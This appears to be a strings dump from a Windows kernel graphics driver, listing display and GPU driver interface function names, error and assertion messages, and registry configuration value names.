DdiCreateDevice DdiGetStandardAllocationDriverData DdiDescribeAllocation DdiAcquireSwizzlingRange DdiDestroyAllocation DdiPatch DdiReleaseSwizzlingRange DdiSetVidPnSourceAddress DdiCommitVidPn DdiUpdateActiveVidPnPresentPath DdiSetVidPnSourceVisibility DdiPreemptCommand DdiSubmitCommand DdiBuildPagingBuffer DdiQueryCurrentFence DdiSetPointerShape DdiSetPalette DdiResetFromTimeout DdiSetPointerPosition DdiEscape DdiRestartFromTimeout DdiRecommendFunctionalVidPn DdiCollectDbgInfo DdiEnumVidPnCofuncModality DdiIsSupportedVidPn DdiOpenAllocation DdiDestroyDevice DdiRender DdiCloseAllocation DdiCreateOverlay DdiPresent DdiFlipOverlay DdiUpdateOverlay DdiGetScanLine DdiDestroyOverlay DdiControlInterrupt DdiRecommendMonitorModes DdiRecommendVidPnTopology DdiStopCapture DdiDestroyContext DdiCreateContext DdiSetDisplayPrivateDriverFormat DdiNotifyDpc DdiAddTargetMode DdiRenderKm DdiPresentDisplayOnly DdiQueryVidPnHWCapability DdiQueryEngineStatus DdiQueryDependentEngineGroup DdiCancelCommand DdiResetEngine DdiControlInterrupt2 DdiGetNodeMetadata DdiCalibrateGpuClock DdiCheckMultiPlaneOverlaySupport DdiGetRootPageTableSize DdiFormatHistoryBuffer DdiInitPagingProcessVaSpace DdiSetRootPageTable DdiUnmapCpuHostAperture DdiMapCpuHostAperture DdiCreateProcess DdiSubmitCommandVirtual DdiRenderGdi DdiDestroyProcess DdiSetStablePowerState DdiCheckMultiPlaneOverlaySupport2 DdiCheckMultiPlaneOverlaySupport3 DdiSetVideoProtectedRegion DdiUpdateMonitorLinkInfo DdiControlModeBehavior DdiCreatePeriodicFrameNotification DdiValidateUpdateAllocationProperty DdiSetTimingsFromVidPn DdiDestroyPeriodicFrameNotification DdiSetTargetContentType DdiSetTargetGamma DdiSetTargetAdjustedColorimetry DdiSetTargetAnalogCopyProtection DdiQueryConnectionChange DdiDisplayDetectControl DdiGetMultiPlaneOverlayCaps DdiExchangePreStartInfo DdiReadVirtualFunctionConfig DdiGetPostCompositionCaps DdiWriteVirtualFunctionConfigBlock DdiWriteVirtualFunctionConfig DdiQueryProbedBars DdiReadVirtualFunctionConfigBlock DdiGetDeviceLocation DdiGetVendorAndDevice DdiSetVirtualFunctionPowerState DdiResetVirtualFunction DdiQueryVirtualFunctionLuid DdiGetResourceForBar DdiGetVirtualGpuProfile DdiGetGpuPartitionInfo DdiCreateVirtualGpu DdiSetGpuPartitionCount DdiDestroyVirtualGpu DdiSetVirtualGpuResources DdiSetVirtualGpuVmBus DdiGetVirtualGpuInfo DdiQueryMitigatedRangeCount DdiVirtualGpuDriverEscape DdiCreateProtectedSession DdiQueryMitigatedRanges DdiCreateHwQueue DdiDestroyProtectedSession DdiSubmitCommandToHwQueue DdiDestroyHwQueue DdiSetSchedulingLogBuffer DdiSetVirtualMachineData DdiNotifyFocusPresent DdiSetupPriorityBands DdiSuspendContext DdiSetContextSchedulingProperties DdiSetVidPnSourceAddressWithMultiPlaneOverlay DdiResumeContext DdiSetVidPnSourceAddressWithMultiPlaneOverlay3 DdiSetVidPnSourceAddressWithMultiPlaneOverlay2 DdiUpdateFlipQueueLog DdiSetInterruptTargetPresentId DdiCancelFlips DdiCancelQueuedFlips DdiSetPowerComponentFState DdiPostMultiPlaneOverlayPresent DdiPowerRuntimeControlRequest DdiSetPowerPState DdiQueryDiagnosticTypesSupport DdiPowerRuntimeSetDeviceHandle DdiBeginExclusiveAccess DdiControlDiagnosticReporting DdiResetHwEngine DdiEndExclusiveAccess DdiSignalMonitoredFence DdiResumeHwEngine DdiValidateSubmitCommand DdiPresentToHwQueue DdiGetMmioRangeCount DdiGetBackingResource DdiSetTrackedWorkloadPowerLevel DdiGetMmioRanges DdiControlInterrupt3 DdiCollectDiagnosticInfo DdiDsiTransmission DdiDsiCaps DdiPrepareLiveMigration DdiDsiReset DdiRestoreImmutableMigrationData DdiSaveImmutableMigrationData DdiRestoreMutableMigrationData DdiSaveMutableMigrationData DdiCreateMemoryBasis DdiEndLiveMigration DdiStartDirtyTracking DdiDestroyMemoryBasis DdiQueryDirtyBitData DdiStopDirtyTracking DmmInterfaceReleaseMonitorSourceMode DmmInterfaceAcquiredPreferredMonitorSourceMode DmmInterfaceAcquireFirstSourceMode DmmInterfaceGetNumSourceModes DmmInterfaceAcquirePinnedSourceMode DmmInterfaceAcquireNextSourceMode DmmInterfacePinSourceMode DmmInterfaceReleaseSourceMode DmmInterfaceGetNumTargetModes DmmInterfaceUnpinSourceMode DmmInterfaceAcquireNextTargetMode DmmInterfaceAcquireFirstTargetMode DmmInterfaceReleaseTargetMode DmmInterfaceAcquriePinnedTargetMode DmmInterfacePinTargetMode DmmInterfaceCompareTargetMode DmmInterfaceIsTargetModeSupportedByMonitor DmmInterfaceUnpinTargetMode DmmInterfaceEnumPathTargetsFromSource DmmInterfaceGetNumPathsFromSource DmmInterfaceAcquirePath DmmInterfaceGetPathSourceFromTarget DmmInterfaceAddPath DmmInterfaceReleasePath DmmInterfaceRemoveAllPaths DmmInterfaceRemovePath DmmInterfaceUnpinScaling DmmInterfacePinScaling DmmInterfaceUnpinRotation DmmInterfacePinRotation DmmInterfaceFindFirstAvailableTarget DmmInterfaceRecommendVidPnTopology DmmInterfaceGetTopology DmmInterfaceRestoreFromLkgForSource DmmInterfaceReleaseSourceModeSet DmmInterfaceAcquireSourceModeSet DmmInterfaceReleaseTargetModeSet DmmInterfaceAcquireTargetModeSet DmmInterfaceReleaseMonitorSourceModeSet DmmInterfaceAcquireMonitorSourceModeSet DmmInterfaceAcquireFirstSource DmmInterfaceGetNumSources DmmInterfaceReleaseSource DmmInterfaceAcquireNextSource DmmInterfaceAcquireFirstTarget DmmInterfaceGetNumTargets DmmInterfaceReleaseTarget DmmInterfaceAcquireNextTarget DmmInterfaceReleaseSourceSet DmmInterfaceAcquireSourceSet DmmInterfaceReleaseTargetSet DmmInterfaceAcquireTargetSet DmmInterfaceCreateVidPnFromActive DmmInterfaceCreateVidPn DmmInterfaceReleaseVidPn DmmInterfaceCreateVidPnCopy DmmInterfaceIsMonitorConnected DmmInterfaceIsUsingDefaultMonitorProfile DmmInterfaceGetPathImportance DmmInterfaceRemoveCopyProtection DmmInterfaceEnumPaths DmmInterfaceGetNumPaths DmmMiniportInterfaceAcquireFirstSourceMode DmmMiniportInterfaceGetNumSourceModes DmmMiniportInterfaceAcquirePinnedSourceMode DmmMiniportInterfaceAcquireNextSourceMode DmmMiniportInterfaceCreateNewSourceMode DmmMiniportInterfaceReleaseSourceMode DmmMiniportInterfacePinSourceMode DmmMiniportInterfaceAddSourceMode DmmMiniportInterfaceAcquireFirstTargetMode DmmMiniportInterfaceGetNumTargetModes DmmMiniportInterfaceAcquirePinnedTargetMode DmmMiniportInterfaceAcquireNextTargetMode DmmMiniportInterfaceCreateNewTargetMode DmmMiniportInterfaceReleaseTargetMode DmmMiniportInterfacePinTargetMode DmmMiniportInterfaceAddTargetMode DmmMiniportInterfaceAcquirePreferredMonitorSourceMode DmmMiniportInterfaceGetNumMonitorSourceModes DmmMiniportInterfaceAcquireNextMonitorSourceMode DmmMiniportInterfaceAcquireFirstMonitorSourceMode DmmMiniportInterfaceAddMonitorSourceMode DmmMiniportInterfaceCreateNewMonitorSourceMode DmmMiniportInterfaceGetNumMonitorFrequencyRanges DmmMiniportInterfaceReleaseMonitorSourceMode DmmMiniportInterfaceAcquireNextMonitorFrequencyRange DmmMiniportInterfaceAcquireFirstMonitorFrequencyRange DmmMiniportInterfaceGetNumMonitorDescriptors DmmMiniportInterfaceReleaseMonitorFrequencyRange DmmMiniportInterfaceAcquireNextMonitorDescriptor DmmMiniportInterfaceAcquireFirstMonitorDescriptor DmmMiniportInterfaceGetNumPaths DmmMiniportInterfaceReleaseMonitorDescriptor DmmMiniportInterfaceEnumPathTargetsFromSource DmmMiniportInterfaceGetNumPathsFromSource DmmMiniportInterfaceAcquirePath DmmMiniportInterfaceGetPathSourceFromTarget DmmMiniportInterfaceAcquireNextPath DmmMiniportInterfaceAcquireFirstPath DmmMiniportInterfaceReleasePath DmmMiniportInterfaceUpdatePathSupport DmmMiniportInterfaceAddPath DmmMiniportInterfaceCreateNewPath DmmMiniportInterfaceAcquireSourceModeSet DmmMiniportInterfaceGetTopology DmmMiniportInterfaceCreateNewSourceModeSet DmmMiniportInterfaceReleaseSourceModeSet DmmMiniportInterfaceAssignMultisamplingSet DmmMiniportInterfaceAssignSourceModeSet DmmMiniportInterfaceReleaseTargetModeSet DmmMiniportInterfaceAcquireTargetModeSet DmmMiniportInterfaceAssignTargetModeSet DmmMiniportInterfaceCreateNewTargetModeSet DmmMiniportInterfaceReleaseMonitorSourceModeSet DmmMiniportInterfaceAcquireMonitorSourceModeSet DmmMiniportInterfaceGetMonitorDescriptorSet DmmMiniportInterfaceGetMonitorFrequencyRangeSet DmmMiniportInterfaceQueryMonitorInterface DmmMiniportInterfaceQueryVidPnInterface DmmMiniportInterfaceGetAdditionalMonitorModesSet DmmMiniportInterfaceRemovePath HandleMonitorPnPNotification DmmMiniportInterfaceReleaseAdditionalMonitorModesSet UnlockPages ProbeAndLockPages UnmapViewOfAllocation MapViewOfAllocation ProcessHeapRotate ProcessHeapAllocate ResumeInt10ModeChange BootInt10ModeChange NotifyVSync FlushAllocationCache UpdateGpuVirtualAddressSystemCommand MakeProcessIdleToFlushTlb WakeUpAdapter GdiRenderDuringCS BlockListProcessing CsExitInitiated PowerStateD3transition HoldAdapterLockThread DxgkOutputDuplDXGDXGIKEYEDMUTEXOpenLocalMutex DdiCreateAllocation2 DxgkOutputDuplAccumulateMetadata DxgkOutputDuplDXGDXGIKEYEDMUTEXDestroyLocalMutex DxgkDdiMiracastQueryCaps BLTQUEUE_Present DxgkDdiMiracastIoControl DxgkDdiMiracastCreateContext DxgkCbSendUserModeMessage DxgkDdiMiracastDestroyContext UmdDriverDestroyMiracastContext UmdDriverCreateMiracastContext UmdDriverStopMiracastSession UmdDriverStartMiracastSession UmdDriverCbReportSessionStatus UmdDriverHandleKernelModeMessage UmdDriverCbReportStatistic UmdDriverCbMiracastIoControl UmdDriverCbRegisterForDataRateNotifications UmdDriverCbGetNextChunkData VidMmRecalculateBudgets VidMmProcessOperations DxgkSharedAllocationObDeleteProcedure DxgkCbSetProtectedSessionStatus DxgkSharedSyncObjectObDeleteProcedure DxgkSharedKeyedMutexObjectObDeleteProcedure DxgkSharedBundleObjectObDeleteProcedure DxgkSharedProtectedSessionObDeleteProcedure DxgkVailPromoteCompositionSurface DxgkRegisterVailProcess DxgkVailDisonnect DxgkVailConnect NotFound DXGBLACKBOX::Initialize() couldn't allocate data buffer. DXGBLACKBOX::Reserve() ran out of space. DRTTestEnable Paravirtualized escape failed: 0x%I64x Invalid CpuEvent object Failed to get adapter sync object Invalid flags for D3DKMT_DRT_TEST_COMMAND_GPUP_TDR Invalid command size for D3DKMT_DRT_TEST_COMMAND_GPUP_TDR Cannot get the current DXGPROCESS VmBusSendEscape D3DKMT_ESCAPE_DRT_TEST failed The process does not have any devices The device handle is invalid: 0x%I64x VmBusSendEscape failed to create standard allocation Cannot get the device by handle: 0x%I64x Allocation is already pinned Cannot get the allocation by handle: 0x%I64x hEvent is invalid, returning 0x%I64x Allocation is not pinned Invalid number of allocations Cannot get the context Invalid allocation handle Invalid command buffer size DRT Test: Wrong value of ArgSize passed for D3DKMT_DRT_TEST_COMMAND_DISPLAY_DIAGNOSTICS_TEST. DRT Test: Test is only valid for full WDDM2.7 and above adapters. Caller should specify the adapter. DRT Test: DdiGetDisplayStateIntrusive failed. DRT test specified invalid buffer size for D3DKMT_DRT_RESET_DISPLAY_OWNERSHIP. Caller should not set the HardwareAccess so DxgkEscape will acquire the adapter lock shared. Failed to acquire the adapter core access exclusively. Caller specified VidPn source ID is invalid. Call only valid on WDDM >=3.2 adapters. Call only valid on SoftGPU adapters. DRT test specified invalid buffer size for D3DKMT_DRT_TEST_COMMAND_SOFTGPU_FEATURE_SAMPLE. Failed to allocate a PsTls slot for DxgkThread, returning 0x%I64x. Failed to allocate registry path buffer. PsSetCreateProcessNotifyRoutineEx failed 0x%I64x Failed to initialize the lookaside list for DXGTHREAD, returning 0x%I64x ExSubscribeWnfStateChange failed, returing 0x%I64x IsInternalRelease Could not register session change callout with session manager, returning 0x%I64x. D:P(A;;GRGW;;;S-1-5-83-0) Interface mismatch between caller (0x%I64x, 0x%I64x) and Dxgkrnl (0x%I64x, 0x%I64x). Could not register for shutdown notification, returning 0x%I64x. DXGPROCESS::CreateDxgProcess failed: : 0x%I64x CheckTokenForVMGroupMembership failed: 0x%I64x Failed to initalize virtual machine : 0x%I64x DXGPROCESS::InitializeVmwpProcess failed: : 0x%I64x Failed to find Vail object: 0xI64x Process is belonging to VM group, but not VMWP or VMMEM : 0x%I64x METHOD_FROM_CTL_CODE(Ioctl) == METHOD_NEITHER pIrp->RequestorMode == KernelMode Invalid size of DXGWSL_INTERFACE: %I64x Invalid version of DXGINTERFACE_WSL: %I64x Invalid lengths specified for IOCTL_INTERNAL_VIDEO_QUERY_WIN32K_INTERFACE (Input = 0n%I64d, Output = 0n%I64d, sizeof(DXGKWIN32K_INTERFACE) = 0n%I64d), returing 0x%I64x Invalid interface type in IOCTL_INTERNAL_VIDEO_SET_INTERFACE: %I64x Dxgkrnl unloaded! \Device\DxgKrnl EventBufferSize == sizeof(DXGKDDICB_PARTITIONING_EVENT_NOTIFICATION) wcsnlen_s(eventNotification->EventDescription, DXGKDDI_PARTITION_EVENT_DESCRIPTION_MAX) < DXGKDDI_PARTITION_EVENT_DESCRIPTION_MAX Driver requested partitioning event with wrong event size: %d m_pThread == NULL m_ProfilerEntryCount > 0 m_ProfilerEntryCount >= 0 Failed to create the section on the opened file in DxgkpGetFileVersion (ntStatus = %I64d). Failed ZwOpenFile in DxgkpGetFileVersion (ntStatus = %I64d). Failed to map the file with MmMapViewOfSection in DxgkpGetFileVersion (ntStatus = %I64d). Failed to get the section object from the file in DxgkpGetFileVersion (ntStatus = %I64d). VS_VERSION_INFO Cannot find the file version resource in DxgkpGetFileVersion (ntStatus = %I64d). Failed ZwQueryInformationFile for source in DxgkpCopyAttributes: 0x%I64x Failed to access the version information of the mapped file in DxgkpGetFileVersion. Failed ZwCreateFile for source in DxgkpCopyFile: 0x%I64x Failed ZwQueryInformationFile for dest in DxgkpCopyAttributes: 0x%I64x Failed ZwCreateFile for dest in DxgkpCopyFile: 0x%I64x Failed allocate memory for CopyBuffer Failed ZwWriteFile in DxgkpCopyFile: 0x%I64x Failed ZwReadFile in DxgkpCopyFile: 0x%I64x .exe .dll Failed allocate memory for LinkInfo in DxgkpPopulateFile Failed to open file in DxgkpPopulateFile: 0x%I64x \CopyToVmWhenNewer \CopyToVmOverwrite \CopyToVmWhenNewerWow64 \CopyToVmOverwriteWow64 D3DDDI_QUERYREGISTRY_DRIVERIMAGEPATH failed: 0x%I64x .sys Driver image does not exists in the VM TranslateUmdFileNameToVm failed: 0x%I64x D3DDDI_QUERYREGISTRY_DRIVERSTOREPATH failed: 0x%I64x Failed to populate file: 0x%I64x \Syswow64\ Cannot allocate memory for DXG_REGISTRY_KEY_ENTRY Failed to copy driver store files: 0x%I64x Failed to insert SubKeyRegistryPath into list for AppendSubKeys (status = 0x%I64x). Failed to Enumerate Subkeys for AppendSubKeys (status = 0x%I64x). \??\ Notifications category diagnostic reported with undefined diagnostic type 0x%I64x. (%d) Unrecognized Driver Diagnostics Telemetry Provider. PanelSelfRefresh diagnostic reported with non-zero reserved bits 0x%I64x (%d) PanelSelfRefresh diagnostic reported with incorrect size 0x%I64x, should be at least 0x%I64x. (%d) SyncLock Resync diagnostic reported with incorrect size 0x%I64x, should be at least 0x%I64x. (%d) Progressions category diagnostic reported with undefined diagnostic type 0x%I64x. (%d) NULL device handle passed to DxgkCbReportDiagnostic (%d). Driver should set either EnableSyncStart or EnableSyncEnd in SyncLock Resync diagnostic reported. (%d) Zero diagnostic categories set for DxgkCbReportDiagnostic. (%d) Invalid device handle passed to DxgkCbReportDiagnostic (%d). Zero diagnostic types set for DxgkCbReportDiagnostic. (%d) Multiple diagnostic categories: 0x%I64x set for DxgkCbReportDiagnostic. (%d) Undefined diagnostic category 0x%I64x reported to DxgkCbReportDiagnostic. (%d) Multiple diagnostic types: 0x%I64x set for DxgkCbReportDiagnostic. (%d) WATCHDOG TdrDelay TdrLevel TdrDodVSyncDelay TdrDodPresentDelay TdrLimitCount TdrDdiDelay TdrDebugMode TdrLimitTime Failed to allocate memory for DxgkAddDiagnosticInfoIntoReport (Size = 0x%I64x) WdDbgReportSecondaryData returned FALSE. WdDbgReportSecondaryData returned FALSE for combined blob. DXGK_DIAG_TYPE_NONE (0x%lx), being logged but it never should Unrecognized diag type 0x%lx, being logged Obsolete diag type 0x%lx, being logged Unable to allocate diagnosability buffer for new size 0x%I64x Failed to acquire coredeviceaccess shared lock, returning 0x%I64x Failed to Evict All Allocations, returning 0x%I64x VIDMM_GLOBAL::EvictionTest reported failure, returning 0x%I64x Failed to acquire CoreAdapterAccess shared lock, returning 0x%I64x Evict By NT Handle Case not supported in WDDM2.x Invalid private driver size Unable to obtain DXGGLOBAL Diagnosibility buffer; pDiagnosticsBuffer = 0x%I64x, pDiagnostics = 0x%I64x Invalid DMA buffer or private data size Invalid command Invalid HwQueue handle Invalid context handle Out of memory allocating private driver data (size 0x%I64x), returning 0x%I64x Driver returned invalid DMA buffer size Try to call D3DKMT_ESCAPE_DMM on a render only adapter 0x%I64x (Status = 0x%I64x)! Driver Common Escape is block for (0x%I64x) Try to call D3DKMT_ESCAPE_VIDSCH on a display only adapter 0x%I64x (Status = 0x%I64x)! Try to call D3DKMT_ESCAPE_VIDMM on a display only adapter 0x%I64x (Status = 0x%I64x)! Try to call D3DKMT_ESCAPE_OUTPUTDUPL_DIAGNOSTICS on a render only adapter 0x%I64x (Status = 0x%I64x)! Try to call D3DKMT_ESCAPE_OUTPUTDUPL_SNAPSHOT on a render only adapter 0x%I64x (Status = 0x%I64x)! Try to activate D3DKMT_ESCAPE_MODES_PRUNED_OUT on a render only adapter 0x%I64x (Status = 0x%I64x)! pBddAdapter->IsBddFallbackDriver() Try to call D3DKMT_ESCAPE_MODES_PRUNED_OUT on a render only adapter 0x%I64x (Status = 0x%I64x)! %I64d is not an escape type that needs (de)activation D3DKMT_ESCAPE_ADAPTER_VERIFIER_OPTION for VidMm option must supply a render adapter D3DKMT_ESCAPE_PROCESS_VERIFIER_OPTION for VidMm option must supply a render adapter Supplied Buffer size for D3DKMT_ESCAPE_QUERY_IOMMU_STATUS (0x%I64x) was to small Supplied Buffer size for D3DKMT_ESCAPE_DOD_SET_DIRTYRECT_MODE (0x%I64x) was not the correct size Supplied Buffer size for D3DKMT_ESCAPE_QUERY_DMA_REMAPPING_STATUS (0x%I64x) was to small D3DKMT_ESCAPE_QUERY_IOMMU_STATUS must supply a render adapter D3DKMT_ESCAPE_QUERY_DMA_REMAPPING_STATUS must supply a render adapter NtDxgkIsFeatureEnabled: Failed to read input arguments NtDxgkIsFeatureEnabled: Failed to write output arguments NtDxgkIsFeatureEnabled: Failed to get DXGPROCESS, EPROCESS=0x%.16x Failed request a synchronous Display Callout (Status == 0x%I64x) Failed request an asynchronous Display Callout (Status == 0x%I64x) Failed to allocate DXGGLOBAL returning 0x%I64x Failed to allocate memory for display switch callout. Failed to allocate pNodeUsageTelemetryWorkItem Failed to iterate adapters: 0x%I64x RtlNumberOfClearBits(&m_SessionizedAdapterOrdinalMap) == ((MAX_ADAPTERS_CEILING) - GetMaximumGlobalAdapterCount()) RtlNumberOfClearBits(&m_GlobalAdapterOrdinalMap) == GetMaximumGlobalAdapterCount() m_SyncObjectList.IsEmpty() m_ShareHandleTable.IsEmpty() m_AdapterList.IsEmpty() m_KeyedMutexList.IsEmpty() m_UefiFrameData == NULL m_SharedPowerList.IsEmpty() DXGGlobal 0x%I64x: Unable to initialize m_VmBusPacketWorkItemList, returning 0x%I64x DXGGlobal 0x%I64x: Unable to initialize the lookaside list for lock order tracker, returning 0x%I64x TerminationListSizeLimit Failed the initial shared resource handle table expansion, returning 0x%I64x WDDM2LockManagement ValidateWDDMCaps InvestigationDebugParameter MaximumAdapterCount EnableHMDTestMode EnableIgnoreWin32ProcessStatus PreventFullscreenWireFormatChange PreserveFirmwareMode InternalDiagnosticsBufferSize EnableFuzzing ExternalDiagnosticsBufferSize InternalDiagnosticsBufferMultiplier DiagnosticsBufferExpansionTime ExternalDiagnosticsBufferMultiplier RapidHpdMaxChainInMilliseconds RapidHpdTimeoutInMilliseconds Usb4MonitorTargetId ForceUsb4MonitorSupport Usb4MonitorDpcdDP_IN_Adapter_Number Usb4MonitorDpcdUSB4_Driver_ID TreatUsb4MonitorAsNormal Usb4MonitorPowerOnDelayInSeconds NodeUsageTelemetryTimerInterval AllowAdvancedEtwLogging DWMFRAMEINTERVAL \REGISTRY\MACHINE\System\ControlSet001\Control\Terminal Server\WinStations Failed to allocate memory for external diagnostics buffers (SmallExternalDiagnosticsSize = 0x%I64x). Failed to allocate memory for internal diagnostics buffers (SmallInternalDiagnosticsSize = 0x%I64x). Failed to allocate memory for dxgkrnl adapter ordinal bits. Failed to allocate memory for dxgkrnl session manager. PsInitialSystemProcess == m_pSystemDxgProcess->GetEProcess() Failed to allocate memory for system process. Failed to get the platformInformation. Status : 0x%I64x Failed to Qdc cache. PoRegisterPowerSettingCallback for GUID_ACDC_POWER_SOURCE failed with status:0x%I64x PoRegisterPowerSettingCallback for GUID_HDR_DISPLAY_QUALITY_BIAS failed with status:0x%I64x DXGMMSVersion < MAX_DXGMMS_VERSION Failed to allocated WSL shared NT handle table Failed the initialize m_pDxgmmsExport (%d), returning 0x%I64x Failed the allocate m_pDxgmmsExport (%d), returning 0x%I64x Failed to get the PnP transition ID from the token (Status = 0x%I64x) Failed to start PnP transition on the affected sessions, returning 0x%I64x m_MaximumGlobalAdapterCount > 0 Ordinal < MAX_ADAPTERS_CEILING Failed to re-eanble mode reset on monitor event (Status == 0x%I64x)! NumAdapters < MaxNumAdapters Failed to find session manager Failed to get remote GPU preference for session %u, default to hw GPU DxgkGetAdapter(): Aadapter found is not active, returning 0x%I64x. DxgkGetAdapter(): BRD WARP is not available, returning 0x%I64x. (NULL != ppPhysicalDeviceHandle) (NULL != pReferenceCookie) Failed to send MODE_CHANGE WNF notification to service session %u, status = 0x%I64x. Unsupported state change notification type. (pNotification->Type = 0x%I64x) Failed DxgkRequestAsyncDisplaySwitchCallout for HDR power policy change(Status = 0x%I64x). MmAllocatePagesForMdlEx failed Failed to create global VM bus channel, returning 0x%I64x MmGetSystemAddressForMdlSafe failed Only DWM or DRT test process is allowed to set and query present duration plane index. returning 0x%I64x CreateGpadlFromMdl failed: 0x%I64x D3DKMT_PROPERTIES_PROCESS_BOOST_VSYNC_ELIGIBLE is only allowed to set eligiblity to TRUE, returning 0x%I64x Invalid cbSize specified of PresentStatsDwm2 , returning 0x%I64x Exception encountered reading parameter data Out of memory allocating pInUseList of type SHAREDPOWERCOMPONENTINUSELIST Exception encountered writing output data Out of memory allocating pNewListObj of type DXGSHAREDPOWERINUSELISTOBJECT Out of memory allocating pNewSharedPowerObj of type DXGSHAREDPOWERREGISTRATIONOBJECT Failed to initialize the 3X4 type of gamma ramp (Status = 0x%I64x). (*(DWORD*)pValue == 0) || (*(DWORD*)pValue == 1) ValueLength >= sizeof(DWORD) Failed to send WNF notification to vGPU:0x%I64x 0x%I64x (m_NumOutputsInRemoteSession > 0) Unable to allocate diagnosability buffer of size 0x%I64x !m_WorkItemActive && IsListEmpty(&m_WorkItemList) m_FreeCount == 0 || m_pEntryTable[m_FreeHandleListTail].NextFreeIndex == HMGRTABLE_INVALID_INDEX Type <= HMGRENTRY_TYPE_LIMIT TableIndex == NewTableSize Type > HMGRENTRY_TYPE_FREE m_FreeHandleListHead < m_TableSize m_pEntryTable[Index].Type == HMGRENTRY_TYPE_FREE m_pEntryTable[Index].Type != HMGRENTRY_TYPE_FREE m_FreeHandleListTail < m_TableSize m_FreeCount >= HMGRTABLE_MIN_FREE_ENTRIES m_FreeCount < m_TableSize _Doorbell == nullptr _DestroyedCoreState DXGCONTEXT 0x%I64x Failed to create HwQueue on the host GetDevice()->GetRenderCore()->GetAdapter()->IsCoreResourceSharedOwner() DdiCreateHwQueue() failed with status 0x%I64d Cannot create UserModeSubmission capable HWQueue on DXGCONTEXT 0x%I64x, because Node Ordinal %u does not support UserModeSubmission DXGCONTEXT 0x%I64x: User mode queues not yet supported on para-v, returning 0x%I64x The HW queue must specify NoKmdAccess flag Invalid hHwQueue (0x%I64x) specified, returning 0x%I64x HwQueue != NULL hHwQueue (0x%I64x) does not support user mode submission, returning 0x%I64x Cannot create HW queue on context (0x%x) that doesn't support hardware queues. PrivateDriverDataSize > m_ContextInfo.DmaBufferPrivateDataSize 0x%I64x, 0x%I64x DXGHWQUEUE submit command 0x%p encountered exception returning 0x%I64x 0x%I64x encountered exception returning 0x%I64x 0x%I64x encountered exception when copying monitored fence value array. 0x%x object is opened as signal only and thus cannot be waited on. 0x%p failed to wait with invalid hSyncObject 0x%x at index %d 0x%p encountered exception returning 0x%I64x hHwQueue 0x%I64x SignalSyncObject.Flags.Reserved is not Zero, but %I64d, returning 0x%I64x SignalSynchronizationObject is called with the DXGK_SIGNAL_FLAG_INTERNAL0 flag bits. Can't signal zero sync objects. SignalSynchronizationObjectFromGpu on device 0x%p attempts to use a sync object opened on a different device 0x%p. Presenting from unexpected process 0x%I64x, returning 0x%I64x SubmitPresentToHwQueue passed a wrong number of broadcast contexts 0x%d DxgkSubmitPresentToHwQueue failed with invalid HW queue handle 0x%x at index %d DxgkSubmitPresentToHwQueue failed, SubmitPresentHistoryTokenPreparation returned 0x%I64x Failed to get output dupl manager DxgkOutputDuplPresentToHwQueue failed with invalid HW queue handle 0x%x at index %d Output duplication is not supported on render only device 0x%I64x Function can only be called from DWM process DXGHWQUEUE 0x%I64x owner Device 0x%p does not match Ring Buffer Alloc owner 0x%I64x, returning 0x%I64x DXGHWQUEUE 0x%I64x: Invalid hRingBuffer 0x%I64x specified, returning 0x%I64x DXGHWQUEUE 0x%I64x: Failed to allocate DoorbellStatus page, returning 0x%I64x DXGHWQUEUE 0x%I64x: Invalid hRingBufferControl 0x%I64x specified, returning 0x%I64x DXGHWQUEUE 0x%I64x: Failed to allocate dummy page for DoorbellCPUVA, returning 0x%I64x DXGHWQUEUE 0x%I64x: Failed to map DoorbellStatusCPUVA, returning 0x%I64x DXGHWQUEUE 0x%I64x: Failed to allocate dummy page for SecondaryDoorbellCPUVA, returning 0x%I64x DXGHWQUEUE 0x%I64x: Failed to secure doorbell CPUVA, returning 0x%I64x DXGHWQUEUE 0x%I64x: DdiCreateDoorbell failed with status 0x%I64x DXGHWQUEUE 0x%I64x: Failed to secure secondary doorbell CPUVA, returning 0x%I64x Can not create doorbell on DXGHWQueue 0x%I64x as DXGDOORBELL 0x%I64x already exists, returning 0x%I64x DXGHWQUEUE 0x%I64x: VidSchCreateDoorbell failed with status 0x%I64x DXGDOORBELL 0x%I64x: Failed to allocate memory for Mdl, returning 0x%I64x DXGDOORBELL 0x%I64x: DdiConnectDoorbell failed with status 0x%I64x DXGDOORBELL 0x%I64x: Failed to allocate memory for secondary Mdl, returning 0x%I64x DXGDOORBELL 0x%I64x: MmRotatePhysicalView failed with Status 0x%I64x DXGDOORBELL 0x%I64x: Failed to rotate CPUVA back to dummy CPU page, returning 0x%I64x DXGDOORBELL 0x%I64x: MmRotatePhysicalView failed for secondary CPUVA with Status 0x%I64x PrivateDriverData pointer and size don't match DXGDOORBELL 0x%I64x: Failed to rotate secondary CPUVA back to dummy CPU page, returning 0x%I64x Out of memory allocating 0x%x bytes for private driver data, returning 0x%x PrivateDriverDataSize 0x%I64x is greater than max permitted size 0x%I64x, returning 0x%I64x invalid hHwQueue 0x%I64x, returning 0x%I64x Reserved bits in Flags (0x%I64x) should not be set, returning 0x%I64x RequireSecondaryCpuVA flag set but adapter does not support secondary doorbell, returning 0x%I64x CoreDeviceAccess for DXGDEVICE 0x%I64x failed with NTSTATUS 0x%I64x _SizeInBytes > 0 && (!Caps.Flags.SecondaryDoorbellSupported || _SecondaryDoorbellSizeInBytes > 0) GetSyncObjectType() == D3DDDI_MONITORED_FENCE || GetSyncObjectType() == D3DDDI_PERIODIC_MONITORED_FENCE || GetSyncObjectType() == D3DDDI_NATIVE_FENCE Win32k should not call Win81::UpdateGdiInfoForVidPnSource for adapter 0x%I64x in remote session, returning 0x%I64x! Win81::DxgkUpdateGdiInfo failed with Status = 0x%I64x, adapter = 0x%I64x, SourceId = 0x%I64x Device 0x%I64x: NumAllocations must be 1, returning 0x%I64x ret = 0x%I64x Device 0x%I64x: DdiDescribeAllocation failed for front buffer 0x%I64x 0x%I64x 0x%I64x ret = 0x%I64x Device 0x%I64x: DxgkpGetDodPrimaryInfo failed for front buffer 0x%I64x 0x%I64x ret = 0x%I64x Device 0x%I64x: front buffer's format is not supported 0x%I64x 0x%I64x ret = 0x%I64x Device 0x%I64x: VidMmBeginCPUAccess failed for front buffer 0x%I64x 0x%I64x 0x%I64x Failed to unlock allocation 0x%p, returning 0x%x DxgkDdiBuildPagingBuffer is required. DxgkDdiQueryAdapterInfo is required. DxgkDdiCloseAllocation is required. DxgkDdiCalibrateGpuClock is required. DxgkDdiCreateAllocation is required. DxgkDdiCollectDbgInfo is required. DxgkDdiCreateDevice is required. DxgkDdiCreateContext is required. DxgkDdiDestroyAllocation is required. DxgkDdiDescribeAllocation is required. DxgkDdiDestroyDevice is required. DxgkDdiDestroyContext is required. 